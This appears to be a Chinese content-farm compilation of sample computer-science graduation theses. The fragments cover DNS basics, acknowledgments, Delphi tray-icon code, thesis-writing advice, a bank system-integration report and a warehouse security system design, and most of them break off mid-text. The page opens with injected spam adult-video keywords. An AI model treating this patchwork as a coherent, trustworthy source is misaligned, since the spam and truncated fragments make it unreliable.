久热精品在线视频,思思96精品国产,午夜国产人人精品一区,亚洲成在线a

  • <sub id="y9mkp"></sub>
    <sub id="y9mkp"><ol id="y9mkp"><abbr id="y9mkp"></abbr></ol></sub>

    1. <style id="y9mkp"><abbr id="y9mkp"><center id="y9mkp"></center></abbr></style>
      <legend id="y9mkp"><u id="y9mkp"></u></legend>
      <s id="y9mkp"></s>

      計算機系畢業(yè)論文模板(10篇)

      時間:2022-05-13 09:55:58

      導言:作為寫作愛好者,不可錯過為您精心挑選的10篇計算機系畢業(yè)論文,它們將為您的寫作提供全新的視角,我們衷心期待您的閱讀,并希望這些內(nèi)容能為您提供靈感和參考。

      篇1

      當前,在經(jīng)濟全球化和全球信息化大潮中,人們不僅重視信息及其集成的作用,而且更加重視信息使用者對信息集成的反應和運用?;ヂ?lián)網(wǎng)上的域名已為越來越多的人們所關注,因此,了解域名及其對應的IP地址的關系,正確地配置域名服務器,就成為設立網(wǎng)站、使自己在Internet上注冊的域名得到體現(xiàn)的關鍵。

      1.IP地址

      IP(InternetProtocol)地址就是網(wǎng)絡協(xié)議地址,是分配給網(wǎng)絡節(jié)點的邏輯地址。這些網(wǎng)絡節(jié)點可以是網(wǎng)絡中的任何一臺主機,提供節(jié)點之間的交換信息服務。由于在Internet網(wǎng)絡中存在著大量的節(jié)點,為了能夠在網(wǎng)上找到這個節(jié)點,就必須給予標識。IP地址就是一種標識方法,它獨立于任何特定的網(wǎng)絡硬件和網(wǎng)絡配置,使用TCP/IP協(xié)議的網(wǎng)絡在發(fā)送或接收信息時先把數(shù)據(jù)打包,然后將目標IP地址翻譯成MAC(Medi-umAccessControl)硬件的物理地址,這樣就可以把數(shù)據(jù)包準確地發(fā)送或接收過來。

      每個IP地址是由4個字節(jié)共32位組成,每字節(jié)之間使用小數(shù)點分隔,一般用十進制數(shù)字表示。每個IP地址包括兩個標識(ID),即網(wǎng)絡ID和宿主機ID,同一個物理網(wǎng)絡上的所有主機都用同一個網(wǎng)絡ID,而網(wǎng)絡上的每個服務器、路由器、計算機等都有一個主機ID。比如202.98.180.194即是云南省科學技術情報研究所的一個WWW服務器的IP地址。

      2.因特網(wǎng)域名及結構

      由于IP地址全是數(shù)字代碼,既不直觀又難于記憶,因特網(wǎng)在IP地址的基礎上,提供了一種面向用戶的主機名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)為我所(云南省科學技術情報研究所)的英文縮寫。即為我所在因特網(wǎng)上注冊的域名,而(主機名+域名)為我所DNS服務器的主機域名,對應的IP地址就是202.98.180.193。

      3.域名解析系統(tǒng)DNS(DomainNameSystem)就是提供域名與IP地址相互映射的網(wǎng)絡服務。事實上,DNS是遍布于全世界的一個分布式數(shù)據(jù)庫。它主要負責控制整個數(shù)據(jù)庫中的部分段,每一段中的數(shù)據(jù)通過客戶/服務模式在整個網(wǎng)絡上均可存取。DNS的數(shù)據(jù)庫結構,同UNIX文件系統(tǒng)(或MSDOS文件系統(tǒng))的結構很相似,整個數(shù)據(jù)庫(或文件系統(tǒng))將根放在頂端,畫出來就像一顆倒轉的樹。在DNS中,根的名字以空字符串“”表示,DNS簡單地稱其為“根”(Root)或偶而稱之為“根域”(RootDomain),在UNIX文件系統(tǒng)中,根以反斜杠“/”表示,被稱為“根目錄”。如圖1所示.

      圖1在DNS和UNIX文件系統(tǒng)中名稱的讀法

      DNS數(shù)據(jù)庫“”

      篇2

      在這寶貴的兩年的研究生生活中,首先我要感謝我的導師——郭清順老師?!笆谌艘贼~,不如授之以漁”,郭老師正是這樣以言傳身教來教導著我們。

      在這里,還要特別感謝我另外一位老師——道焰老師,她雷厲風行的性格、干凈利落的做事風格永遠是我學習的榜樣。無論是在學習上還是在生活,她總給在我最需要的時候給予幫助。

      不得不提,王竹立老師,他慈父一樣的關懷曾使我感激不已。他使我懂得,踏踏實實做人,認認真真做事,應付別人就是應付自己。

      感謝在研究生學習期間給我諸多教誨和幫助的信息與網(wǎng)絡中心的各位老師,感謝陳鐵老師、蘇順開老師、黃海老師、張汶老師給予我的指導和幫助!

      感謝317實驗室的兄弟姐妹,是你們給我?guī)砹藲g樂,是你們讓我知道了什么是手足情深。

      感謝我的三位同學——陳頌麗、路昉碩和郭澤平,我們之間的友誼足以使我今生不忘。

      感謝我的朋友——淦鑫、馬偉杰、王海洋、賀明威、林諸鳴、甘榮偉,感謝你們在我失意時給我鼓勵,在失落時給我支持,感謝你們和我一路走來,讓我在此過程中倍感溫暖!

      相關的論文致謝樣本

      ·畢業(yè)論文致謝如何寫·課程設計論文致謝詞·博士生論文致謝范例

      篇3

      unitpro2;

      interface

      uses

      。。。,Menus,shellAPI;//TNotifyIconData是定義在shellAPI單元的

      {自定義消息,當小圖標捕捉到鼠標事件時Windows向回調函數(shù)發(fā)送此消息}

      constWM_MYTRAYICONCALLBACK=WM_USER+1000;

      。。。。

      private

      MyTrayIcon:TNotifyIconData;

      procedureWMMyTrayIconCallBack(VarMsg:TMessage);messageWM_MYTRAYICONCALLBACK;

      //托盤消息處理過程

      procedureWMCommand(Varmsg:TWMCommand);messageWM_Command;

      //處理托盤圖標的右鍵菜單事件

      procedureMinimize(varmess:TWMNCLBUTTONDOWN);messageWM_NCLBUTTONDOWN;

      //窗體最小化時的消息處理

      。。。。。。。。

      procedureTForm1.FormCreate(Sender:TObject);

      begin

      //將程序窗口樣式設為TOOL窗口,避免在任務欄上出現(xiàn)

      SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

      end;

      procedureTForm1.FormShow(Sender:TObject);

      begin

      //設置托盤

      Icon.Handle:=LoadIcon(Hinstance,''''MAINICON'''');

      MyTrayIcon.cbSize:=SizeOf(TNotifyIconData);//nid變量的字節(jié)數(shù)

      MyTrayIcon.Wnd:=Handle;//主窗口句柄

      MyTrayIcon.uID:=1;//內(nèi)部標識,可設為任意數(shù)

      MyTrayIcon.uFlags:=NIF_ICONorNIF_TIPorNIF_MESSAGE;//指明哪些字段有效

      MyTrayIcon.uCallBackMessage:=WM_MYTRAYICONCALLBACK;//回調函數(shù)消息,將自定義托盤消息傳遞進去

      MyTrayIcon.hIcon:=Application.Icon.Handle;//要加入的圖標句柄,可任意指定

      StrCopy(MyTrayIcon.szTip,PChar(Caption));

      Shell_NotifyIcon(NIM_ADD,@MyTrayIcon);

      ShowWindow(Handle,sw_Hide);

      //Visible:=False;//當程序啟動時就最小化在托盤區(qū)即Form.Create時啟用此語句

      Application.ShowMainForm:=False;

      SetForegroundWindow(Application.Handle);

      end;

      ////消息過程實現(xiàn)

      procedureTForm1.WMMyTrayIconCallBack(varMsg:TMessage);

      varCursorPos:TPoint;

      begin

      caseMsg.LParamof

      WM_LBUTTONDBLCLK://雙擊消息:彈出主窗口

      begin

      Visible:=notVisible;

      Application.ShowMainForm:=Visible;

      SetForegroundWindow(Application.Handle);

      end;

      WM_RBUTTONDOWN://鼠標右鍵:彈出菜單

      begin

      GetCursorPos(CursorPos);

      {Popupmenu1.Popup(CursorPos.X,CursorPos.Y);

      popupmen1里面就可以加入顯示主窗口、退出等功能。這個右鍵菜單可以是靜態(tài)的,如上面一句來彈出;也可以動態(tài)建立,如下面所示的方法:}

      pm:=createpopupmenu;//建立一個Hmenu,pm:hmenu;

      AppendMenu(pm,0,ord(''''A''''),''''關于....'''');//在指定的菜單里添加一個菜單項

      AppendMenu(pm,0,Ord(''''B''''),''''&Exit'''');

      //加入菜單事件---》處理WMCOMMAND消息即可

      TrackPopupMenu(pm,Tpm_BottomAlignorTpm_RightAlign,CursorPos.x,CursorPos.y,0,handle,nil);

      //在圖標上方顯示該彈出式菜單

      end;

      end;

      end;

      procedureTForm1.WMCommand(varmsg:TWMCommand);

      begin

      Casemsg.ItemIDof

      Ord(''''A''''):showmessage(''''我的右鍵菜單!'''');

      Ord(''''B''''):Self.close;//關閉程序主窗體

      elseinherited;

      end;

      end;

      procedureTform1.Minimize(varmess:TWMNCLBUTTONDOWN);//應用程序最小化消息處理

      begin

      ifMess.Hittest=htReducethen

      Self.Hide

      elseinherited;

      end;

      procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);

      var{程序被關閉時通知Windows去掉小圖標}

      nid:TNotifyIconData;

      begin

      nid.cbSize:=sizeof(nid);//nid變量的字節(jié)數(shù)

      nid.uID:=1;//內(nèi)部標識,與加入小圖標時的數(shù)一致

      篇4

      寫作流程

      自考計算機專業(yè)畢業(yè)論文有1年準備時間,寫作時間的分配主要取決于考生軟件開發(fā)的進度,如果考生開發(fā)的軟件很成熟,那末后續(xù)的寫作時間就較快,否則后面的寫作就會很被動。例如,一般會在每年7月份登記,9月底開題,期間開發(fā)軟件,到第二年2、3月就要完成初稿,再留一個月修改。

      1、選題。選題首先要重要、有意義。例如有的考生選擇設計木馬程序,其本身是個病毒程序,這樣的程序只能帶來危害,實際生活中沒有意義,就不能用于做畢業(yè)論文。

      2、開發(fā)軟件。開發(fā)軟件要與實際相結合。實際性非常重要,要自己能開發(fā)一個能實際運行的軟件。有的考生自己并沒有參與實際工作,只是看書是不行的。自己參與的可以是一個大的項目或課題組,論文中介紹完大的系統(tǒng)后,一定要把自己的工作量寫清楚。

      3、寫論文。開發(fā)完就可以寫論文了,論文是個總結,但是不要寫成工作總結,一定要有主題,應體現(xiàn)自己的開發(fā)思想和論述自考本科計算機專業(yè)畢業(yè)論文寫作指南自考本科計算機專業(yè)畢業(yè)論文寫作指南。寫論文要達到一定字數(shù),一般要3萬字。其中,編程代碼一般為2-3千行,這個不是機器自動生成的代碼,一定是自己寫的源代碼。

      論文結構

      計算機專業(yè)畢業(yè)論文一般有8個部分。1、概述或引言。這個部分相當于大綱,一般要求4-5千字,主要是對軟件開發(fā)背景,使用的軟件工具、環(huán)境,最后達到的效果,自我在里面的貢獻等;2、需求分析。軟件有哪些功能、模塊,用的什么工具等;3、設計方案和主要技術自考本科計算機專業(yè)畢業(yè)論文寫作指南文章自考本科計算機專業(yè)畢業(yè)論文寫作指南出自http://gkstk.com/article/wk-78500001321796.html,轉載請保留此鏈接!。主要是對里面每一部分的詳細論述,使用的是什么技術,為什么使用。詳細的模塊分析或遇到的難點是怎樣解決的等;4、具體的實現(xiàn)過程;5、測試。介紹自己開發(fā)軟件實際達到的效果;6、總結。介紹自己開發(fā)軟件的體會,或自己開發(fā)的成果使用情況,有什么評價,自己還有哪些不足,有什么需要改進的地方;7、致謝;8、參考文獻。另外,還可以加一個“附錄”部分。正文只能有一個中心,其他有重要參考價值的都可以放在附錄部分。例如有重要的代碼、圖表,涉及其他領域的知識,需要解釋的等都可以放在附錄部分。

      案例1:《家裝工程預算軟件的開放》1、概述;2、需求分析;3、總體設計;4、數(shù)據(jù)庫設計;5、軟件功能的實現(xiàn);6、結論及改進;7、致謝;8、參考文獻。

      案例2:《經(jīng)緯中天無線短信增值服務管理軟件的設計和開放》1、引言;2、需求分析;3、設計方案論證和主要技術介紹;4、系統(tǒng)設計;5、編碼實現(xiàn);6、實際運行中出現(xiàn)的問題及相應的解決方案;7、結束語;8、致謝;9、參考文獻。

      答辯程序

      答辯現(xiàn)場會有專業(yè)老師組成的答辯小組,一般為5人左右,學生抽簽分配答辯組。答辯現(xiàn)場要考生做介紹和演示??忌枰崆皽蕚浠脽羝话悴怀^20張,為論文最核心部分的內(nèi)容自考本科計算機專業(yè)畢業(yè)論文寫作指南論文

      WiseMedia

      考生結合幻燈片介紹論文,答辯小組老師會根據(jù)考生論文提出問題,考生要實事求是回答,最后答辯小組老師打分,求平均分給出考生論文成績。大部分考生都會達到優(yōu)、良,個別考生沒有通過論文,主要有兩方面原因:1、論文并不是自己真正所做,用別人的軟件為自己所用,老師一提問就能發(fā)現(xiàn)破綻;2、考生論得太簡單,達不到工作量。這就需要考生踏踏實實地按照要求去作論文。

      零碎提醒

      論文的題目不要太大,一定要具體、實際,不能吹成通用的;

      自考生考過全部課程后,最好能尋求實踐機會??梢匀腹?,真正參與一個項目,一邊工作一邊寫論文;

      論文不要上網(wǎng)抄,一定要自己做;

      篇5

      1引言

      在接到開發(fā)中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)任務的初期,我們既興奮又迷茫,興奮的是我們有機會從事一項意義重大的工作,迷茫的是在我們以往所進行的系統(tǒng)集成實例中找不到可以借鑒的經(jīng)驗,而且從各種資料上也查不到類似的范例。盡管開始時我們還感到無從下手,但我們還是下決心完成這一艱巨的任務。在整項工程的建設過程中,我們的感覺仿佛是在黑暗中摸索前進,我們制定并否定了一個又一個方案,最后終于找到了一個看起來可行的方案,并勇敢地前進,終于在完成了任務的同時證明了這一方案的可行性。2需求分析

      中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)建設的目的是為行長和處長們辦公決策提供全面、可靠、快捷的信息服務。這一系統(tǒng)開發(fā)完成后,行長及處長們只需在計算機前就可調閱人行各業(yè)務處的數(shù)據(jù)和報表,并且還能查閱到廣西區(qū)情、廣西國民經(jīng)濟綜合情況、電話號碼、飛機航班、列車時刻、最新文件及重大事件等信息。中國人民銀行辦公信息服務系統(tǒng)不僅要新開發(fā)許多公共信息服務系統(tǒng),而且最重要的是要在人行廣西區(qū)分行二十多個業(yè)務處現(xiàn)有的和將來中國人民銀行總行配發(fā)的軟件系統(tǒng)基礎上進行,即要求新開發(fā)系統(tǒng)要完全具有人行廣西區(qū)分行原有各業(yè)務系統(tǒng)及將來總行配發(fā)下來的軟件系統(tǒng)功能。根據(jù)項目內(nèi)容,我們可以將需求歸納成兩大類信息服務系統(tǒng)即業(yè)務信息類和公共信息類信息服務系統(tǒng)。

      公共信息類信息服務系統(tǒng)包括電話號碼、列車時刻、飛機航班、最新公文及最新動態(tài)、廣西區(qū)情及綜合情況等這些公共的信息查詢系統(tǒng),這類系統(tǒng)原來中國人民銀行廣西區(qū)分行內(nèi)沒有,因此我們需要開發(fā)這些軟件系統(tǒng),這一部分方案比較容易確定。業(yè)務信息是指中國人民銀行廣西區(qū)分行各業(yè)務處每日產(chǎn)生的大量數(shù)據(jù)及報表,這些數(shù)據(jù)及報表是各處的業(yè)務軟件系統(tǒng)處理的結果。業(yè)務信息類服務系統(tǒng)不僅要求功能齊全,而且要操作簡單,行長和處長們只需進行簡單的操作即可查閱到各業(yè)務處的數(shù)據(jù)和報表。因為各業(yè)務處的辦公信息服務系統(tǒng)的來源復雜,有的是從中國人民銀行總行各相對獨立的專業(yè)司配發(fā)下來的,有的是中國人民銀行廣西區(qū)分行科技處的同志開發(fā)的,有的是市縣支行同志開發(fā)的。同時這些軟件開發(fā)工具也不一,并多是.EXE文件,因此系統(tǒng)集成難度大,我們需要尋找到一個可行的系統(tǒng)集成方案。

      3系統(tǒng)集成方案的制定

      本項工程最突出的特點是要在完全利用原有系統(tǒng)的前提下為高層領導開發(fā)一個高水平的軟件系統(tǒng),因此無論在設計思想上還是在技術上都需要對現(xiàn)有系統(tǒng)集成方法有所突破。為此,我們進行了多種嘗試,先后制定過以下四個方案。

      (1)從分析和處理各原業(yè)務系統(tǒng)原始數(shù)據(jù)入手重現(xiàn)各種報表。

      (2)截取打印機端口數(shù)據(jù)獲得原業(yè)務系統(tǒng)各種報表,并進行處理。

      (3)將原業(yè)務系統(tǒng)數(shù)據(jù)轉換成可被EXCEL.識別的數(shù)據(jù),用EXCEL來編制和管理報表系統(tǒng)。

      (4)直接將原業(yè)務系統(tǒng)集成進我們的系統(tǒng),利用原業(yè)務系統(tǒng)的查詢功能。

      經(jīng)過深入細致的調研和研究分析,我們選定了最后一個方案。直接將原業(yè)務系統(tǒng)集成進我們的系統(tǒng),利用原業(yè)務系統(tǒng)的查詢功能。

      4辦公信息服務系統(tǒng)總體設計方案

      在分別確定了網(wǎng)絡系統(tǒng)方案,軟件系統(tǒng)及系統(tǒng)集成方案后,我們設計了系統(tǒng)總體設計方案。具體如下:

      1)采用WINDOWSNT網(wǎng)絡結構,服務器為中文WINDOWSNT3.51,工作站采用中文WINDOWS3.2。

      2)數(shù)據(jù)庫采用CLIENT/SERVER模式,數(shù)據(jù)庫服務器采用SQLSERVER6.5,LIENT端開發(fā)工具采POWERBUILDER5.0。

      3)用POWERBUILDER5.0開發(fā)系統(tǒng)主框架及公共信息子系統(tǒng)。

      4)將業(yè)務系統(tǒng)放在工作站硬盤上,讓其在工作站上運行,然后通過網(wǎng)絡來采集和傳送數(shù)據(jù)。

      5)將各業(yè)務系統(tǒng)直接集成到辦公信息服務系統(tǒng)中。

      6)將所有業(yè)務系統(tǒng)在每臺行長用機硬盤上都安裝一套,行長在本工作站上使用與各業(yè)務處相同的系統(tǒng),查閱各種業(yè)務數(shù)據(jù),業(yè)務數(shù)據(jù)通過網(wǎng)絡采集。

      7)用直接對鍵盤緩沖區(qū)操作的方法,簡化行長對業(yè)務數(shù)據(jù)的查詢過程。

      5系統(tǒng)數(shù)據(jù)流程

      公共信息存放在網(wǎng)絡服務器,各工作站都可直接查詢。

      從業(yè)務軟件上網(wǎng),數(shù)據(jù)的安全性及軟件系統(tǒng)的可靠性三方面考慮,中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)將業(yè)務軟件系統(tǒng)及所有的業(yè)務查詢系統(tǒng)軟件都放置在工作站硬盤上,業(yè)務數(shù)據(jù)查詢操作也只對工作站硬盤進行。在對業(yè)務數(shù)據(jù)處理方面網(wǎng)絡只承擔數(shù)據(jù)采集及傳遞的任務,業(yè)務數(shù)據(jù)的流程是定期從各業(yè)務處工作站拷貝到網(wǎng)絡上相應目錄,再由行長和處長們將其從網(wǎng)絡上取回到他們自己的工作站。

      6需要解決的技術問題

      采用這一方案,需要將用POWERBUILDER新開發(fā)出來的系統(tǒng)與原有的WINDOWS環(huán)境上運行的,EXE文件與在DOS下中文環(huán)境UCDOS上運行的.EXE文件及在DOS環(huán)境上foxbase下運行的.PRG文件,或在LOTUS123下運行的軟件集成在一起,并且采用了直接對鍵盤緩沖區(qū)進行操作的技術,因此就面臨著許多諸如內(nèi)存不夠,地址及顯示方式?jīng)_突等錯綜復雜的問題,下面就介紹我們曾遇到的問題及解決問題的方法。

      6.1網(wǎng)絡結構

      由于各業(yè)務系統(tǒng)原來是在單用戶環(huán)境上開發(fā)的,沒有考慮網(wǎng)絡上運行的特點,因此無法直接上網(wǎng),為此我們采用非集中式數(shù)據(jù)管理方法,將業(yè)務系統(tǒng)放在工作站硬盤上,讓其在工作站上運行,然后通過網(wǎng)絡來采集和傳送數(shù)據(jù),這樣就解決了業(yè)務系統(tǒng)多個用戶同時使用,數(shù)據(jù)共享及網(wǎng)絡安全等問題。

      6.2系統(tǒng)集成方案

      因為中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)覆蓋面很大,并要將原有五花八門的系統(tǒng)與新開發(fā)的系統(tǒng)集成在一起,在這些系統(tǒng)中有POWERBUILDER開的發(fā),有用VISUALFOXPROFORWINDOWS及FOXPROFORWINDOWS開發(fā)的,也有在DOS及UCDOS下用FOXPRO2.5及FOXBASE開發(fā)的,還有在LOTUS123下運行的系統(tǒng),同時還要考慮直接對鍵盤緩沖區(qū)進行操作時的可靠性,因此系統(tǒng)集成方案是本項目中的關鍵。我們曾經(jīng)制定了兩種方案,第一種方案是系統(tǒng)一開始是運行在DOS環(huán)境上,先進入UCDOS,這樣用戶可正常運行DOS下的業(yè)務系統(tǒng),當需要運行WINDOWS下的系統(tǒng)時,才退出UCDOS進入WINDOWS,用戶接著可使用WINDOWS下的業(yè)務軟件及公共信息軟件系統(tǒng)。第二種方案是,系統(tǒng)一開始就運行在WINDOWS環(huán)境,用戶可直接運行公共信息系統(tǒng)及WINDOWS環(huán)境下的業(yè)務軟件系統(tǒng),當用戶需要使用DOS環(huán)境的系統(tǒng)時,再調用WINDOWS下的DOS窗口,進入UCDOS,然后運行業(yè)務軟件系統(tǒng),運行完后退回WINDOWS。第一種方案比較簡單,但用戶界面不理想,操作步驟及系統(tǒng)反應時間較長。第二方案用戶界面良好,操作管理簡便,但由于系統(tǒng)疊加層次較多,因此需解決內(nèi)存及其它資源限制及沖突等問題。經(jīng)過努力我們成功地按第二方案實施,使得原來五花八門而顯得零亂的多個系統(tǒng)在WINDOWS下集成起來,形成一個有機的整體。6.3鍵盤緩沖區(qū)操作

      因為辦公信息服務系統(tǒng)的使用者是人行廣西區(qū)分行的高層領導,因此除了要求界面美觀之外,還特別要求使用簡便。由于我們將各原有系統(tǒng)集成到我們的軟件中,而各原有系統(tǒng)一般功能繁多,并多需要輸入口令等繁瑣的步驟才能進入到領導們所需的查詢功能,因此我們采用預先將這些操作的字符序列自動寫入鍵盤緩沖區(qū)的辦法,將這些步驟“短路”,領導們在調用該業(yè)務系統(tǒng)時就直接進入到查詢功能。

      在對DOS環(huán)境下運行的業(yè)務系統(tǒng),我們采用直接向鍵盤緩沖區(qū)寫入字符序列,以簡化操作的方法。采用這種方法需要掌握寫入的時機,否則及容易造成不可預見性的結果以致死機。由于用戶將要在不同業(yè)務系統(tǒng)中來回選擇,因此鍵盤緩沖區(qū)操作程序在內(nèi)存的駐留方式也是一個需要處理好的問題,否則會出現(xiàn)內(nèi)存管理混亂等問題。經(jīng)過反復嘗試我們找到了解決問題的方案,采用從WINDOWS調用DOS進程及UCDOS之后,調用鍵盤緩沖區(qū)操作程序,將操作序列寫入到鍵盤緩沖區(qū),然后再調用業(yè)務系統(tǒng),由系統(tǒng)自動按鍵盤緩沖區(qū)的字符序列進入業(yè)務系統(tǒng)的查詢操作,在退出業(yè)務系統(tǒng)時,由WINDOWS自動清除內(nèi)存中的UCDOS及鍵盤緩沖區(qū)操作程序,使內(nèi)存恢復到調用前原狀。在處理WINDOWS環(huán)境中運行的業(yè)務系統(tǒng)時,我們在進入系統(tǒng)前直接調用鍵盤緩沖區(qū)操作程序,將操作序列寫入到鍵盤緩沖區(qū),然后調用業(yè)務系統(tǒng),讓其自動按鍵盤緩沖區(qū)序列進入到其查詢功能。

      6.4內(nèi)存優(yōu)化

      采用這種集成方案,內(nèi)存將要容納網(wǎng)絡驅動程序,WINDOWS,UCDOS,F(xiàn)OXBASE,業(yè)務系統(tǒng),DOS解釋程序等,因此常常會遇到內(nèi)存不足的問題,采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法,我們采用DOS的MEMMAKER來優(yōu)化內(nèi)存,以解決基本內(nèi)存不足的問題。

      6.5WINDOWS與UCDOS協(xié)調工作

      由于系統(tǒng)主框架是運行于WINDOWS環(huán)境,而業(yè)務系統(tǒng)許多是在DOS環(huán)境下UCDOS環(huán)境中運行,這就涉及中文WINDOWS與UCDOS協(xié)調工作的問題,如果先進UCDOS,然后執(zhí)行WINDOWS,則會造成顯示方式?jīng)_突,系統(tǒng)無法使用,反之,先進WINDOWS然后再調用DOS進程,進入UCDOS,則使用順暢,并且在退出DOS進程后,內(nèi)存沒有任何殘留。

      6.6解決內(nèi)存不足問題

      采用直接集成方案,內(nèi)存將要容納網(wǎng)絡驅動程序、WINDOWS、UCDOS、FOXBASE,業(yè)務系統(tǒng),DOS解釋程序等,因此常常會遇到內(nèi)存不足的問題,采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法,但只能解決部分基本內(nèi)存不足的問題,在許多情況下仍需采用別的方法。如某處業(yè)務軟件是在FOXBASE下運行的.FOX程序,該.FOX程序調用DOS命令,這樣內(nèi)存中將要容納網(wǎng)絡驅動程序,中文WINDOWS3.2,DOS,UCDOS5.0,鍵盤操作駐留程序,F(xiàn)OXBASE,該.FOX及DOS命令解釋程序,從而造成內(nèi)存不足。為解決這一問題,我們找來了反編譯程序,將.FOX文件反編譯成.PRG文件,然后用FOXPRO2.5,將其編譯成.EXE文件,這樣在調用它時,就無需執(zhí)行FOXBASE,從而解決這種內(nèi)存不足的問題。

      7成果

      在進行項目開發(fā)的過程中我們曾查閱許多資料,沒有人曾介紹用類似的方案進行系統(tǒng)集成的經(jīng)驗。因此在項目開發(fā)完成前,我們一直擔心,最后的系統(tǒng)會不會是個“四不象”,但我們驚喜地發(fā)現(xiàn),我們的系統(tǒng)不僅功能強大,性能可靠,而且各部分銜接自然,使用極其方便。這種系統(tǒng)集成方法是一種新穎的方法。為在大型企業(yè)及機構已有的軟件系統(tǒng)基礎上進行系統(tǒng)集成創(chuàng)造了一種巧妙簡截而又成功的解決方案。

      9參考文獻

      [1]PowerBuilder5.0技術參考手冊(套)北京市曉通網(wǎng)絡數(shù)據(jù)庫研究所

      [2]Excel5forwindows大全,海洋出版社

      篇6

      一、引言

      計算機技術、網(wǎng)絡技術、多媒體技術的成熟與發(fā)展,為倉儲管理自動化提供了強有力的技術支持。當前已有的系統(tǒng)其功能一般比較單一。如防盜系統(tǒng)只管防盜;倉儲管理系統(tǒng)只負責倉庫物品的數(shù)據(jù)處理;控制系統(tǒng)只完成簡單的環(huán)境控制功能(如開關門、開關燈、通風等)。將這些功能彼此獨立的系統(tǒng)有機結合起來,組成一個既能完成管理,又能實現(xiàn)實時監(jiān)控的一體化自動管理系統(tǒng)具有重要的意義。我們所設計的這套倉庫安全管理綜合信息系統(tǒng),是把門禁系統(tǒng)(IC卡開門)、環(huán)境監(jiān)控系統(tǒng)、財務管理系統(tǒng)、合同管理系統(tǒng)、報警控制系統(tǒng)和數(shù)據(jù)處理系統(tǒng)結合在一起,充分利用了先進的計算機技術和控制手段。它既能通過音頻、視頻以及紅外線、雷達、震動等傳感器實時監(jiān)控對所有分庫的開門、取物、檢修等操作,又能對防區(qū)內(nèi)的警報信號立即處理或自動上報;它還是一個倉庫的數(shù)據(jù)中心,能完成人員、倉儲信息處理以及自動報時、鳴號、熄燈、開關高壓電網(wǎng)、布撤防等控制。另外,該系統(tǒng)還與財務管理系統(tǒng)、合同管理系統(tǒng)集成在一起構成一個安全、主動和綜合的倉庫管理系統(tǒng)。

      二、系統(tǒng)的基本要求

      目前的倉庫管理系統(tǒng)一般技術比較落后、性能較差且很不完備,有的甚至沒有安全防盜功能。即使有安全防盜功能其性能一般也不太理想,人工干涉多,操作使用不方便,有的還故障率高而不實用。隨著社會信息交流的日益加強和信息量的集聚增加,再加上盜竊活動的團伙化、智能化和高技術化等特點,倉儲管理部門越來越需要一套低成本、高性能、方便使用、功能完善的綜合倉庫監(jiān)控管理系統(tǒng)。要求它具有立即捕捉警情并提供警情發(fā)生地的有關信息(如地圖、位置、類型、程度、平面圖、地形圖、結構圖以及警情發(fā)生地的倉儲情況等),計算機系統(tǒng)馬上對警情做出反應,迅速通知值班人員和倉庫管理員(通過聲光等信號形式),可能的話還可立即對警情發(fā)生地實施控制(如接通高壓電網(wǎng)、自動封閉門窗、拉響警笛、打開探照燈等)。對重要的警情要立即通過計算機網(wǎng)絡或內(nèi)部電話自動交換網(wǎng)上報上級主管部門。特別是要求系統(tǒng)能完整記錄從發(fā)生警情到上報,進而做出處理的全過程,以便于事后分析處理。

      倉庫大門的鑰匙管理和開門方法應采用較科學的電子識別手段(如磁卡、IC卡)進行控制,倉庫內(nèi)外的溫度和濕度用溫濕度傳感器自動測量和記錄。發(fā)現(xiàn)越限時報警通知管理員,以便于管理員及時采取通風降溫和除濕等方法,確保倉儲物品的安全。除此之外,系統(tǒng)還可以對倉儲物品的出入庫、物品訂購合同、財務信息以及人員信息等內(nèi)容進行統(tǒng)一的管理,以提高辦公自動化的程度。

      三、系統(tǒng)功能描述

      1.定時自動測量和記錄濕度和溫度,并能夠觸發(fā)越界報警;

      2.可掛接多種類型的防區(qū),每個防區(qū)可以是震動、雷達、紅外線等類型的一種;

      3.系統(tǒng)對每個警情立即反應,指出地點、位置等,給出警情所在地的結構圖,并能自動啟動警號、燈光等報警設備,必要時可立即自動撥號上報上級主管部門;

      4.雙IC卡開門,并自動記錄開門時間,持卡者身份等信息;

      5.對鑰匙統(tǒng)一管理,記錄取鑰匙的時間,人員等信息;

      6.可以進行人員管理、倉儲管理、財務管理、合同管理等內(nèi)容;

      7.自動記錄管理員交接班日志,對倉庫的操作也均有記錄;

      8.可根據(jù)綜合條件檢索歷史記錄,并可打印輸出。

      9.對人員的情況、密碼(管理員)、防區(qū)所接傳感器參數(shù)均可隨時更新。

      綜上所述,系統(tǒng)所完成的功能是比較全面的。其中以處理警情的優(yōu)先級最高,一旦發(fā)生警報,應立即停止其它事務性處理工作,轉為響應處理警報。由于這種系統(tǒng)具有一定的技術先進性、新穎性和實用性,可以對倉儲信息進行有效的安全管理。

      四、系統(tǒng)的設計結構

      系統(tǒng)實現(xiàn)采用結構化和面向對象的設計技術,硬件結合了單板機廉價、穩(wěn)定的優(yōu)點和PC機大容量、高速度、界面友好的特點,將整個系統(tǒng)分成功能相對獨立的若干子模塊,使系統(tǒng)結構層次分明,結構嚴謹,極易于維護和使用。由于系統(tǒng)采用結構化設計,自頂向下逐步分解精化而成,由多個模塊組成,因此可按散件組裝法則根據(jù)現(xiàn)場實際需求,靈活取舍組合系統(tǒng)各組成部件。對于一些特殊要求也可以采用模塊化形式方便地實現(xiàn)其功能的擴展,從而形成由低成本、簡單功能到高投入、復雜功能不同層次的系列產(chǎn)品,但無論怎樣組合均不會降低系統(tǒng)整體性能。系統(tǒng)的邏輯功能結構如圖1所示。

      圖1系統(tǒng)功能邏輯結構圖(圖略)

      五、操作使用簡介

      系統(tǒng)運行于WINDOWS環(huán)境,其界面同時具有字符、圖形、動畫、菜單命令等各種輸入輸出格式,友好且直觀形象,再加上采用了WINDOWS所特有的聯(lián)機提示和后援幫助作輔助手段,使系統(tǒng)的使用簡單易學,非常便于普及推廣。整個操作可分為四大部分:

      1.利用按鈕完成各種控制功能;

      2.圖形操作界面,利用鼠標代替鍵盤輸入,快速直觀,一學就會;

      3.對記錄的數(shù)據(jù)進行綜合條件的檢索,查詢并打印輸出,可用鼠標選擇查詢條件;

      篇7

